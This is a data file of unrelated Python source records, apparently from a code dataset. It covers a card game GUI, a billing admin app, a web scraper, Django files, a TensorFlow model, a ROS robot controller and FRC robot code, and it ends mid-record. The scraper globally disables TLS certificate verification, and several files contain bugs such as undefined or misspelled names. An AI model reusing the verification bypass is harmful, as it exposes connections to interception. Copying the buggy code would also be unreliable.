self.marked_for_swap = []\r\n # тексты\r\n self.startGame.setText('ЕЩЕ РАЗ')\r\n self.yourMoney.setText(f'Твоя комбинация: {result}')\r\n self.earned.setText(f\"ТВОЙ ВЫИГРЫШ: {self.wageSize.value() * mechanics.REWARDS[result]}\")\r\n # изображения\r\n for i in range(mechanics.HAND_SIZE):\r\n self.cardplaces[i].setPixmap(QtGui.QPixmap(self.gcards[self.hand[i]]))\r\n # смена состояния\r\n self.state = 'start' if self.bank.money > 0 else 'lost'\r\n \r\n \r\n def main_button(self):\r\n if self.state == 'start':\r\n self.change_state()\r\n\r\n elif self.state == 'trade':\r\n self.change_state()\r\n\r\n elif self.state == 'retry':\r\n self.change_state()\r\n\r\n\r\n def change_wage(self):\r\n result = round(self.wageSize.value()/10) * 10 if round(self.wageSize.value()/10) * 10 <= self.bank.money else self.wageSize.value()\r\n self.wageSize.setValue(result)\r\n self.lcdNumber.display(result)\r\n\r\n def card1_clicked(self):\r\n self.card_clicked(0, self.card1)\r\n\r\n def card2_clicked(self):\r\n self.card_clicked(1, self.card2)\r\n\r\n def card3_clicked(self):\r\n self.card_clicked(2, self.card3)\r\n\r\n def card4_clicked(self):\r\n self.card_clicked(3, self.card4)\r\n\r\n def card5_clicked(self):\r\n self.card_clicked(4, self.card5)\r\n\r\n def card_clicked(self, card, cardplace):\r\n if self.state == 'retry':\r\n if card in self.marked_for_swap:\r\n cardplace.setPixmap(QtGui.QPixmap(self.gcards[self.hand[card]]))\r\n self.marked_for_swap.remove(card)\r\n print(str(self.marked_for_swap),'unmarked')\r\n else:\r\n cardplace.setPixmap(QtGui.QPixmap(\":/res/cards/back.png\"))\r\n self.marked_for_swap.append(card)\r\n print(str(self.marked_for_swap),'marked')\r\n \r\ndef main():\r\n app = QtWidgets.QApplication(sys.argv)\r\n window = App()\r\n window.showNormal()\r\n app.exec_()\r\n\r\nif __name__ == '__main__':\r\n print(__file__)\r\n main()","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"455515390","text":"\"\"\"\nFront end for duckbill\n\"\"\"\nfrom __future__ import with_statement\n__ver__=\"$Id: FrontEndApp.py,v 1.30 2007/03/30 00:35:53 sabren Exp $\"\n\nimport duckbill\nimport sixthday\nimport zebra\nimport weblib\nfrom duckbill import Account, Event, Subscription\nfrom contextlib import contextmanager\n\n\n\nclass FrontEndApp(sixthday.AdminApp):\n\n def act_(self):\n self.create_account()\n\n def jumpto_accounts(self, accounts, searchOnly):\n if len(accounts) == 0:\n raise IndexError(\"not found\")\n elif len(accounts) == 1 and not searchOnly:\n self.input[\"ID\"] = accounts[0].ID\n self.show_account()\n else:\n self.write(\"search results: \")\n self.write(\"\")\n for a in accounts:\n self.write('')\n self.write('%s (%s)' % (a.account, a.status))\n self.write(' ')\n self.write(\"\")\n\n\n def act_jump(self):\n if self.input.get(\"jumpto\"):\n jump = self.input[\"jumpto\"]\n try:\n if jump.startswith(\"#\"):\n self.input[\"ID\"]=self.clerk.match(Event,\n refnum=jump[1:])[0].ID\n self.edit_event()\n \n\n elif jump.count(\" \"):\n fn, ln = jump.split(\" \", 1)\n kw = {}\n if fn != \"*\": kw['fname']=fn\n if ln != \"*\": kw['lname']=ln\n res = self.clerk.match(Account, **kw)\n elif jump.count(\"@\"):\n res = self.clerk.match(Account, email=jump)\n else:\n res = self.clerk.match(Account, account=jump)\n \n if not res:\n subs = self.clerk.match(Subscription, username=jump)\n res = [s.account for s in subs]\n\n if res:\n self.jumpto_accounts(res, self.input.has_key('searchOnly'))\n else:\n self.write(\"%s sub/acct not found\" % jump)\n \n except IndexError:\n self.write(\"%s not found\" % jump)\n \n \n else:\n self.write(\"no value given for jump\")\n \n\n def requireAccountID(self):\n assert self.model.get(\"accountID\"), \"no accountID given\"\n\n\n ### accounts ############################################\n\n def show_account(self):\n self.generic_show(Account, \"sho_account\")\n\n def edit_account(self):\n self.generic_show(Account, \"frm_account\")\n\n def create_account(self):\n self.generic_create(Account, \"frm_account\")\n\n def save_account(self):\n acct = self.generic_save(Account)\n self.redirect(\"index.py?action=show&what=account&ID=%i\"\n % int(acct.ID))\n\n @contextmanager\n def accountUpdate(self, paramName=\"accountID\"):\n try:\n assert self.input.get(paramName), \"give me an accountID\"\n acc = self.clerk.fetch(Account, ID=int(self.input[paramName]))\n yield acc\n except:\n raise\n else:\n acc = self.clerk.store(acc)\n self.redirect(\"index.py?action=show&what=account&ID=%i\"\n % int(acc.ID))\n\n def act_close_account(self):\n assert self.input.get(\"reason\"), \"give me a reason\"\n with self.accountUpdate(paramName='ID') as acc:\n acc.close(self.input[\"reason\"])\n assert acc.status == 'closed', \"??!\"\n\n def act_catchup(self):\n with self.accountUpdate() as acc:\n acc.postCharges()\n\n def act_stop_autobill(self):\n with self.accountUpdate() as acc:\n acc.postCharges()\n acc.lastfour=''\n acc.cardinfo=None\n acc.autobill=False\n\n def act_grace(self):\n with self.accountUpdate() as acc:\n acc.grace(why=self.input['note'], untilWhen=self.input['expires'])\n\n\n ### subscriptions ############################################\n\n\n def create_subscription(self):\n self.requireAccountID()\n self.generic_create(Subscription, \"frm_subscription\")\n\n def edit_subscription(self):\n self.generic_show(Subscription, \"frm_subscription\")\n \n def save_subscription(self):\n if self.input.get(\"ID\"):\n s = self.generic_save(Subscription)\n else:\n self.requireAccountID()\n a = self.clerk.fetch(Account, ID=self.model[\"accountID\"])\n s = self._getInstance(Subscription)\n s.account = a\n s = self.clerk.store(s)\n self.redirect(\"index.py?action=show&what=account&ID=%i\"\n % int(s.account.ID))\n \n ### events ############################################\n\n def create_event(self):\n self.requireAccountID() \n self.generic_create(Event, \"frm_event\")\n\n def edit_event(self):\n self.generic_show(Event, \"frm_event\")\n\n #@TODO: save_event and save_subscription are almost identical!\n def save_event(self):\n if self.input.get(\"ID\"):\n e = self.generic_save(Event)\n else:\n self.requireAccountID()\n a = self.clerk.fetch(Account,ID=self.model[\"accountID\"])\n e = self._getInstance(Event)\n e.account = a\n e = self.clerk.store(e)\n self.redirect(\"index.py?action=show&what=account&ID=%i\"\n % int(e.account.ID))\n\n def getCheckedEvents(self):\n eids = self.input.get(\"eventID\", ())\n if type(eids) == tuple:\n ids = eids\n else:\n ids = (eids,)\n return [self.clerk.fetch(Event, ID=eid) for eid in ids]\n\n def jumpToAccount(self, accID):\n self.redirect(\"index.py?action=show&what=account&ID=%s\" % accID)\n\n def act_void(self):\n for e in self.getCheckedEvents():\n e.event = 'void'\n e.note = \"void: \" + e.note\n self.clerk.store(e)\n self.jumpToAccount(self.input[\"accountID\"])\n\n def die(self, msg):\n assert 0, msg # @TODO: fix this\n\n def fetchAccount(self, account):\n try:\n return self.clerk.fetch(Account, account=account)\n except LookupError:\n self.die(\"couldn't find destination account\") \n\n def act_move_events(self):\n acc = self.fetchAccount(self.input[\"dest_account\"])\n for e in self.getCheckedEvents():\n acc.events << e\n self.clerk.store(acc)\n self.jumpToAccount(acc.ID)\n","sub_path":"duckbill/trunk/duckbill/FrontEndApp.py","file_name":"FrontEndApp.py","file_ext":"py","file_size_in_byte":6719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"302976911","text":"import requests\nfrom bs4 import BeautifulSoup\nimport csv\nimport wget\nimport os\nfrom os import path\nimport ssl\nimport datetime\n\nfrom gcloud import storage\nfrom google.cloud import storage\n\n\nclient_secret = input('Put in Path/to/client_secrets.json: ')\nDestination_Folder = input('Path/to/Working/folder/: ')\n\nstorage_client = storage.Client.from_service_account_json(client_secret)\nbucketName = input('GCS bucket name: ')\nbucket = storage_client.get_bucket(bucketName)\n\n# To be able to track and differentiate between the different times of running\n# the script, the timestamp is used to create a folder.\nnow = datetime.datetime.now()\nfolder_id = now.strftime('%Y%m%d' + '-' + '%H%M%S')\n\ndest_folder = Destination_Folder + folder_id + '/'\n\n# product_search.csv and products_catalog.csv are automatically created\n# product_search.csv is the file that is used with the Product Search API\n# products_catalog.csv contains all the information scraped on the image\nproduct_search = Destination_Folder + 'product_search.csv'\nproducts_catalog = Destination_Folder + 'products_catalog.csv'\n\nos.makedirs(dest_folder, exist_ok=True)\n\nimage_store = 'gs://prod-search-tool/'\n\nif (not os.environ.get('PYTHONHTTPSVERIFY', '') and getattr(ssl, '_create_unverified_context', None)):\n ssl._create_default_https_context = ssl._create_unverified_context\n\n# To collect which page to scrape from\nurl = input('What page will you scrape from: ')\nhtml = requests.get(url)\nsoup = BeautifulSoup(html.text, 'html.parser')\n\n\npage = soup.body\npageTags = soup.find_all(\"div\", {\"class\": \"product\"})\nos.makedirs(dest_folder, exist_ok=True)\n\n\n# This allows to download to the local computer\ndef dld(dest_folder, src):\n try:\n wget.download(src, out=dest_folder)\n except Exception:\n print(Exception)\n #continue\n\n# This creates the header of the product_search.csv\ndef product_search_header():\n with open(Destination_Folder + 'product_search.csv', 'w') as csvfile:\n tagwriter = csv.writer(csvfile, delimiter=',')\n tagwriter.writerow(['image_uri', 'image_id', 'product_set_id', 'product_id', 'product_category', \\\n 'product_display_name', 'labels', 'bounding_poly'])\n\n# This creates the header of the products_catalog.csv\ndef products_catalog_header():\n with open(Destination_Folder + 'products_catalog.csv', 'w') as csvfile:\n tagwriter = csv.writer(csvfile, delimiter=',')\n tagwriter.writerow(['imageUrl', 'image_id', 'product_set_id', 'productId', 'product_category', \\\n 'name', 'labels', 'bounding_poly', 'src', 'productPage', 'availability', 'gcsLink'])\n\n# This downloads the images to the Google Bucket\ndef gdld(product_id, src, bucket, bucketName):\n #bucket = storage_client.get_bucket(bucket)\n try:\n bucket.blob(product_id).upload_from_string(src)\n print('gs://' + bucket.blob(product_id).path_helper(bucketName, filename))\n return 'gs://' + bucket.blob(product_id).path_helper(bucketName, filename)\n except:\n print('Didn\\'t upload')\n\n# This uploads a file to the Google Bucket from the local computer.\n# In this case, it will be for the product_search.csv and products_catalog.csv files\ndef gdld_up(filename, bucket):\n #bucket = storage_client.get_bucket(bucket)\n print('Uploading ' + filename)\n try:\n bucket.blob(filename).upload_from_filename(Destination_Folder + filename)\n print(bucket.blob(filename).path(bucket, filename))\n return bucket.blob(filename).path(bucket, filename)\n except:\n print(filename + ' doesn\\'t exist on local computer')\n\n# This downloads a file from the Google Bucket to the local computer.\n# In this case, it will be for the product_search.csv and products_catalog.csv files\ndef gdld_dn(filename, bucket):\n #bucket = storage_client.get_bucket(bucket)\n print('Downloading ' + filename)\n blob = bucket.get_blob(filename)\n blob.download_to_filename(Destination_Folder + filename)\n\n# This checks if the file exists in the bucket already.\n# Usually before downloading to the local computer\ndef gdld_chk(filename, bucket):\n print('Checking for ' + filename)\n #bucket = storage_client.get_bucket(bucket)\n print(bucket.get_blob(filename))\n return bucket.get_blob(filename)\n\n\n# Check if the file is in the bucket. If it is, download, else, indicate so that the\n# file can be created locally.\nprint()\nfor filename in ['product_search.csv', 'products_catalog.csv']:\n if gdld_chk(filename, bucket) == None:\n print(filename + ' not in GCS bucket')\n else:\n print('Downloading ' + filename + ' from GCS bucket')\n gdld_dn(filename, bucket)\n print()\n\nprint()\nfor page in pageTags:\n container_a = page.find('a')\n container_img = container_a.find('img')\n\n container_href = container_a.get('href')\n product_id = container_img.get('data-pid')\n #image_uri = image_store + product_id + '.jpg'\n image_id = ''\n product_set_id = 'athome' # merchant_id\n product_id = container_img.get('data-pid')\n product_category = 'general-v1' # category\n product_display_name = container_img.get('title')\n labels = ''\n bounding_poly = ''\n src = container_img.get('src')\n product_page = 'https://athome.com' + container_href\n product_availability = container_img.get('data-stock')\n\n image_uri = gdld(product_id, src, bucket, bucketName)\n\n\n if (path.exists(product_search) == False):\n print('no existing product_search file. Creating...')\n product_search_header()\n\n with open(Destination_Folder + 'product_search.csv', 'a') as csvfile:\n tagwriter = csv.writer(csvfile, delimiter=',')\n tagwriter.writerow([image_uri, image_id, product_set_id, product_id, product_category, \\\n product_display_name, labels, bounding_poly])\n\n\n if (path.exists(products_catalog) == False):\n print('no existing products_catalog file. Creating...')\n products_catalog_header()\n\n with open(Destination_Folder + 'products_catalog.csv', 'a') as csvfile:\n tagwriter = csv.writer(csvfile, delimiter=',')\n tagwriter.writerow([image_uri, image_id, product_set_id, product_id, product_category, \\\n product_display_name, labels, bounding_poly, src, product_page, \\\n product_availability])\n\n print('-'*50)\n\nprint()\n# Upload the files to GCS\nfor filename in ['product_search.csv', 'products_catalog.csv']:\n gdld_up(filename, bucket)\n\nprint()\n# Confirm that the files were properly uploaded.\nfor filename in ['product_search.csv', 'products_catalog.csv']:\n gdld_chk(filename, bucket)\n\nprint('Check bucket for new images. Confirm complete')\n\n\n\n","sub_path":"imageDownloader8.py","file_name":"imageDownloader8.py","file_ext":"py","file_size_in_byte":6718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"421352200","text":"\"\"\"ArticleBlog URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path,re_path\nfrom ArticleBlog.views import *\n# from ArticleBlog.views import index,introduce,index1\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('index/',index),\n re_path(r'^$',index),\n re_path(r'page/(?P\\d{1,2})',page_list),\n # re_path(r'^introduce/(?P\\w+)/(?P\\d{1,2})$',introduce)\n path('tv/',template_variable),\n path('tl/',template_label),\n]\n","sub_path":"ArticleBlog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"211993493","text":"import tensorflow as tf \nfrom tools.lazy_property import lazy_property\n\nclass SoftMaxModel(object):\n def __init__(self):\n self.inputs = tf.placeholder('float32', (None, 4), name=\"inputs\")\n self.labels = tf.placeholder('float32', (None, 3), name=\"labels\")\n self.learning_rate = 0.01\n self.prediction\n self.infer\n\n @lazy_property\n def prediction(self):\n fully_connect_layer = tf.contrib.layers.fully_connected(\n inputs=self.inputs,\n num_outputs=3,\n activation_fn = None,\n weights_initializer = tf.contrib.layers.xavier_initializer(),\n biases_initializer = tf.contrib.layers.xavier_initializer(), \n )\n return fully_connect_layer\n\n @lazy_property\n def loss(self):\n loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=self.labels, logits=self.prediction), name=\"loss\")\n return loss\n\n @lazy_property\n def optimizer(self):\n optimze = tf.train.GradientDescentOptimizer(self.learning_rate).minimize(self.loss)\n return optimize\n\n @lazy_property\n def infer(self):\n result = tf.nn.softmax(self.prediction, name=\"softmax\")\n inference = tf.argmax(result, 1, name=\"infer\")\n return inference","sub_path":"cha4_test/3_softmax/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"519117159","text":"#!/usr/bin/env python3\nimport rospy\nfrom time import sleep\nfrom std_msgs.msg import Float64, Bool\nfrom blobs_msgs.msg import BlobArray\nfrom nav_msgs.msg import Odometry\nfrom sensor_msgs.msg import LaserScan\nfrom geometry_msgs.msg import Twist\npub_vel = rospy.Publisher('cmd_vel', Twist, queue_size=1)\n\nmove_flag = True\nrotate_flag = True\nalr_park = False\nvis_park = False\nparking = False\nAuto = 0\nintegral = 0\nx = 0\ny = 0\ntime = 0.0\ndist = 0\nrot = 0\nsx = 0\nsy = 0\ndef cbError(error):\n\tglobal integral, move_flag, rotate_flag, parking\n\tif move_flag and not parking:\n\t\tvelocity = Twist()\n\t\tproportional = 0.0037*error.data\n\t\tintegral = 0.000005*error.data\n\t\tup = proportional + integral\n\t\tvelocity.angular.z = up\n\t\tif rotate_flag:\n\t\t\tvelocity.linear.x = 0.08 - 0.05*abs(up)\n\t\telse:\n\t\t\tvelocity.linear.x = 0.0\n\t\tpub_vel.publish(velocity)\n\ndef visError(msg):\n\tglobal move_flag, rotate_flag, alr_park, vis_park, parking, x, y, time\n\tidd = msg.blobs[0].id\n\tif not parking:\n\t\tif idd == 0 and not move_flag:\n\t\t\tmove_flag = True\n\t\telif idd == 1:\n\t\t\tmove_flag = False\n\t\t\tvstop = Twist()\n\t\t\tvstop.angular.z = 0.0\n\t\t\tvstop.linear.x = 0.0\n\t\t\tpub_vel.publish(vstop)\n#\t\telif idd == 2:\n#\t\t\ttime = rospy.get_time()\n#\t\t\tif y > -0.6 and x > 1.0 and not alr_park and not vis_park:\n#\t\t\t\trospy.loginfo('parking!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')\n#\t\t\t\tvis_park = True\n#\t\t\t\talr_park = True\n#\t\telif idd == 3:\n#\t\t\tif x < -1:\n#\t\t\t\tmove_flag = False\n#\t\t\t\trospy.loginfo('labirint')\n\ndef Addons(msg):\n\tglobal x, y, sx, sy\n\ty = msg.pose.pose.position.y - sy - 1.7\n\tx = msg.pose.pose.position.x - sx\n\tif sx == 0:\n\t\trospy.loginfo('ss')\n\t\tsx = x\n\t\tsy = y + 1.7\n\ndef Distance(msg):\n\tglobal dist\n\tdist = msg.ranges\n\ndef loop():\n\tglobal time, vis_park, move_flag, rotate_flag, parking, flag6, dist, Auto\n\trosy.loginfo('NOOOOO!')\n\tif not parking and vis_park:\n\t\tif 1.8 > rospy.get_time() - time > 1.25 and Auto != 1:\n\t\t\trospy.loginfo(dist[0])\n\t\t\tif dist[0] < 1.0:\n\t\t\t\tAuto = 1\n\t\t\telse:\n\t\t\t\tAuto = 2\n\t\tif rospy.get_time() - time > 2:\n\t\t\tvis_park = False\n\t\t\tparking = True\n\t\t\tParking()\n\t\t\tparking = False\n\ndef Parking():\n\tglobal dist, Auto\n\tv_stop, v_right, v_left, v_go = Twist(), Twist(), Twist(), Twist()\n\tv_stop.angular.z = 0.0\n\tv_stop.linear.x = 0.0\n\tv_go.angular.z = 0.0\n\tv_go.linear.x = 0.15\n\tv_right.angular.z = -0.4\n\tv_right.linear.x = 0.0\n\tv_left.angular.z = 0.4\n\tv_left.linear.x = 0.0\n\trospy.loginfo(Auto)\n\tsr = 1\n\tst = 2\n\tpub_vel.publish(v_left)\n\tsleep(sr)\n\tpub_vel.publish(v_go)\n\tsleep(st)\n\tif Auto == 2:\n\t\trospy.loginfo('машинка 1')\n\t\tParking2()\n\tpub_vel.publish(v_go)\n\tsleep(st)\n\tif Auto == 1:\n\t\trospy.loginfo('машинка 2')\n\t\tParking2()\n\tpub_vel.publish(v_go)\n\tsleep(st)\n\trospy.loginfo('vse')\n\ndef Parking2():\n\tv_stop, v_right, v_left, v_go = Twist(), Twist(), Twist(), Twist()\n\tv_stop.angular.z = 0.0\n\tv_stop.linear.x = 0.0\n\tv_go.angular.z = 0.0\n\tv_go.linear.x = 0.15\n\tv_right.angular.z = -0.4\n\tv_right.linear.x = 0.0\n\tv_left.angular.z = 0.4\n\tv_left.linear.x = 0.0\n\tsr = 3\n\tsm = 1.7\n\tpub_vel.publish(v_right)\n\tsleep(sr)\n\tpub_vel.publish(v_go)\n\tsleep(sm)\n\tpub_vel.publish(v_stop)\n\trospy.sleep(1)\n\tpub_vel.publish(v_left)\n\tsleep(sr * 2)\n\tpub_vel.publish(v_go)\n\tsleep(sm)\n\tpub_vel.publish(v_right)\n\tsleep(sr)\n\tpub_vel.publish(v_stop)\n\nif __name__ == '__main__':\n\trospy.init_node('line_control')\n\trospy.Subscriber('/error_lane', Float64, cbError, queue_size=1)\n\trospy.Subscriber('/new_blobs', BlobArray, visError, queue_size=1)\n\trospy.Subscriber('/odom', Odometry, Addons, queue_size=1)\n\trospy.Subscriber('/scan', LaserScan, Distance, queue_size=1)\n\twhile not rospy.is_shutdown():\n\t\ttry:\n\t\t\trospy.sleep(0.05)\n#\t\t\tloop()\n\t\texcept KeyboardInterrupt:\n\t\t\tbreak\n","sub_path":"line_controll_Adrian.py","file_name":"line_controll_Adrian.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"650468639","text":"from django import forms\nfrom main_gusto.models import *\n\n\nclass BannerForm(forms.ModelForm):\n\n CHOICES = [('True', 'Да'),\n ('False', 'Нет')]\n title = forms.CharField(max_length=50, widget=forms.TextInput(attrs={'type': 'text', 'id': 'title', 'class': 'form-control',\n 'placeholder': 'Название', 'required': 'required'}))\n photo = forms.ImageField(widget=forms.ClearableFileInput(attrs={ 'placeholder': 'Фото', 'class': 'form-control',\n 'required': 'required'}))\n is_visible = forms.ChoiceField(choices=CHOICES, widget=forms.RadioSelect(\n attrs={'name': 'visible'}))\n\n class Meta():\n model = Banner\n fields = ('title', 'photo', 'is_visible')\n\n\nclass CategoryForm(forms.ModelForm):\n CHOICES = [('True', 'Да'),\n ('False', 'Нет')]\n title = forms.CharField(max_length=50, widget=forms.TextInput(attrs={'type': 'text', 'id': 'title', 'class': 'form-control',\n 'placeholder': 'Название', 'required': 'required'}))\n category_order = forms.IntegerField(widget=forms.NumberInput(attrs={ 'placeholder': 'Номер', 'class': 'form-control',\n 'required': 'required'}))\n is_visible = forms.ChoiceField(choices=CHOICES, widget=forms.RadioSelect(\n attrs={'name': 'visible'}))\n is_special = forms.ChoiceField(choices=CHOICES, widget=forms.RadioSelect(\n attrs={'name': 'special',}))\n\n class Meta():\n model = Category\n fields = ('title', 'category_order', 'is_visible', 'is_special')\n\n\nclass DishForm(forms.ModelForm):\n\n categories = Category.objects.order_by('title')\n CATEGORY_CHOICES = []\n for item in categories:\n CATEGORY_CHOICES.append((item, item.title))\n\n CHOICES = [('True', 'Да'),\n ('False', 'Нет')]\n\n title = forms.CharField(max_length=50, widget=forms.TextInput(attrs={'type': 'text', 'id': 'title', 'class': 'form-control',\n 'placeholder': 'Название', 'required': 'required'}))\n\n category = forms.ModelChoiceField(queryset=categories)\n\n description = forms.CharField(max_length=600,\n widget=forms.Textarea(\n attrs={'name': 'desc', 'id': 'desc', 'class': 'form-control',\n 'rows': '4', 'placeholder': 'Описание',\n 'required': 'required'}))\n price = forms.DecimalField(widget=forms.NumberInput(attrs={ 'placeholder': 'Цена', 'class': 'form-control',\n 'required': 'required'}))\n photo = forms.ImageField(widget=forms.ClearableFileInput( attrs={ 'placeholder': 'Фото', 'class': 'form-control',\n 'required': 'required'}))\n is_visible = forms.ChoiceField(choices=CHOICES, widget=forms.RadioSelect(\n attrs={'name': 'visible'}))\n\n class Meta():\n model = Dish\n fields = ('title', 'category', 'description', 'price', 'photo', 'is_visible')\n\n\nclass EventForm(forms.ModelForm):\n\n title = forms.CharField(max_length=50, widget=forms.TextInput(attrs={'type': 'text', 'id': 'title', 'class': 'form-control',\n 'placeholder': 'Название', 'required': 'required'}))\n photo = forms.ImageField(widget=forms.ClearableFileInput( attrs={ 'placeholder': 'Фото', 'class': 'form-control',\n 'required': 'required'}))\n description = forms.CharField()\n event_date = forms.DateInput()\n event_time = forms.TimeInput()\n price = forms.DecimalField()\n\n class Meta():\n model = Events\n fields = ('title', 'photo', 'description', 'event_date', 'event_time', 'price')\n","sub_path":"menu_format/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"197837122","text":"from typing import List\nfrom functools import reduce\n\nif __name__ == '__main__':\n floats: List[float] = [12.3554, 4.02, 5.777, 2.12, 3.13, 4.44, 11.0001]\n names: List[str] = [\"Vanes\", \"Alen\", \"Jana\", \"William\", \"Richards\", \"Joy\"]\n numbers: List[int] = [22, 33, 10, 6894, 11, 2, 1]\n\n new_floats = map(lambda x: round(x ** 3, 3), floats)\n print(list(new_floats))\n new_names = filter(lambda x: len(x) > 4, names)\n print(list(new_names))\n new_numbers = reduce(lambda x, y: x * y, numbers)\n print(new_numbers)\n","sub_path":"Module30/01_new_lists/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"603247350","text":"#!/usr/bin/env python3\n\nimport math\nimport time\n\nimport magicbot\nimport wpilib\n\nfrom ctre import CANTalon\nfrom robotpy_ext.control.button_debouncer import ButtonDebouncer\nfrom networktables import NetworkTables\n\nfrom components.chassis import Chassis\nfrom components.gears import GearAligner, GearDepositor\nfrom components.range_finder import RangeFinder\nfrom components.vision import Vision\nfrom components.winch import Winch\nfrom automations.filters import RangeFilter, VisionFilter\nfrom automations.manipulategear import ManipulateGear\nfrom automations.profilefollower import ProfileFollower\nfrom automations.winch import WinchAutomation\nfrom utilities.bno055 import BNO055\n\n\nclass Robot(magicbot.MagicRobot):\n # Sensors\n range_finder = RangeFinder\n vision = Vision\n vision_filter = VisionFilter\n\n # Chassis must come before RangeFilter\n # ProfileFollower should come before Chassis\n profilefollower = ProfileFollower\n chassis = Chassis\n range_filter = RangeFilter\n\n # Other automations\n manipulategear = ManipulateGear\n winch_automation = WinchAutomation\n\n # Other actuators\n gear_aligner = GearAligner\n gear_depositor = GearDepositor\n winch = Winch\n\n def createObjects(self):\n '''Create motors and stuff here'''\n\n # Objects that are created here are shared with all classes\n # that declare them. For example, if I had:\n # self.elevator_motor = wpilib.TalonSRX(2)\n # here, then I could have\n # class Elevator:\n # elevator_motor = wpilib.TalonSRX\n # and that variable would be available to both the MyRobot\n # class and the Elevator class. This \"variable injection\"\n # is especially useful if you want to certain objects with\n # multiple different classes.\n\n # create the imu object\n self.bno055 = BNO055()\n\n # the SmartDashboard network table allows you to send\n # information to a html dashboard. useful for data display\n # for drivers, and also for plotting variables over time\n # while debugging\n self.sd = NetworkTables.getTable('SmartDashboard')\n\n # create the joystick and gamepad on the appropriate ports\n self.joystick = wpilib.Joystick(0)\n self.gamepad = wpilib.XboxController(1)\n\n # create the button debouncers, used to stop a single press from being\n # counted every control loop iteration\n self.joystick_buttons = [ButtonDebouncer(\n self.joystick, buttonnum=i, period=0.5) for i in range(13)]\n self.gamepad_buttons = [ButtonDebouncer(\n self.gamepad, buttonnum=i, period=0.5) for i in range(13)]\n\n self.drive_motor_a = CANTalon(2)\n self.drive_motor_b = CANTalon(5)\n self.drive_motor_c = CANTalon(4)\n self.drive_motor_d = CANTalon(3)\n self.gear_aligner_motor = CANTalon(14)\n\n # create the winch motor; set it so that it pulls the robot up\n # the rope for a positive setpoint\n self.winch_motor = CANTalon(11)\n self.winch_motor.setInverted(True)\n\n self.rope_lock_solenoid = wpilib.DoubleSolenoid(forwardChannel=0,\n reverseChannel=1)\n\n self.gear_push_solenoid = wpilib.Solenoid(2)\n self.gear_drop_solenoid = wpilib.Solenoid(3)\n self.gear_drop_solenoid.set(True)\n\n # set the throttle to be sent to the chassis\n self.throttle = 1.0\n # set the direction of the forward/back movement of the robot\n self.direction = 1.0\n\n self.range_finder_counter = wpilib.Counter(0, mode=wpilib.Counter.Mode.kPulseLength)\n # dio for the vision LEDs to be switched on or off\n self.led_dio = wpilib.DigitalOutput(1)\n\n self.compressor = wpilib.Compressor()\n\n def putData(self):\n # update the data on the smart dashboard\n\n # put the inputs to the dashboard\n self.sd.putNumber(\"gyro\", self.bno055.getHeading())\n # if self.manipulategear.current_state == \"align_peg\":\n self.sd.putNumber(\"range\", self.range_finder.getDistance())\n self.sd.putNumber(\"climb_current\", self.winch_motor.getOutputCurrent())\n self.sd.putNumber(\"rail_pos\", self.gear_aligner.get_rail_pos())\n self.sd.putNumber(\"raw_rail_pos\", self.gear_aligner_motor.getPosition())\n self.sd.putNumber(\"error_differential\",\n self.drive_motor_a.getClosedLoopError()\n - self.drive_motor_c.getClosedLoopError())\n self.sd.putNumber(\"velocity\", self.chassis.get_velocity())\n self.sd.putNumber(\"left_speed_error\", self.drive_motor_a.getClosedLoopError())\n self.sd.putNumber(\"right_speed_error\", self.drive_motor_c.getClosedLoopError())\n self.sd.putNumber(\"x_throttle\", self.chassis.inputs[0])\n self.sd.putNumber(\"z_throttle\", self.chassis.inputs[2])\n self.sd.putNumber(\"filtered_x\", self.vision_filter.x)\n self.sd.putNumber(\"filtered_dx\", self.vision_filter.dx)\n self.sd.putNumber(\"vision_filter_x_variance\", self.vision_filter.filter.P[0, 0])\n self.sd.putNumber(\"vision_filter_dx_variance\", self.vision_filter.filter.P[1, 1])\n self.sd.putNumber(\"vision_filter_covariance\", self.vision_filter.filter.P[0, 1])\n self.sd.putNumber(\"filtered_range\", self.range_filter.filter.x_hat[0, 0])\n self.sd.putNumber(\"range_filter_variance\", self.range_filter.filter.P[0, 0])\n self.sd.putNumber(\"time\", time.time())\n self.sd.putNumber(\"vision_predicted_range\", self.range_filter.vision_predicted_range())\n self.sd.putNumber(\"vision_predicted_target_dist\", self.vision.derive_target_range())\n\n def teleopInit(self):\n '''Called when teleop starts; optional'''\n self.sd.putString(\"state\", \"stationary\")\n self.gear_aligner.reset_position()\n self.gear_depositor.retract_gear()\n self.gear_depositor.lock_gear()\n self.profilefollower.stop()\n self.winch.enable_compressor()\n self.vision.enabled = False\n self.logger.info(\"TELEOP INIT RANGE: %s\" % (self.range_finder.getDistance()))\n self.logger.info(\"TELEOP INIT FILTER RANGE: %s\" % (self.range_filter.range))\n\n def disabledInit(self):\n # prevent pyntlogger from continuing to log if it is running\n self.sd.putBoolean(\"log\", 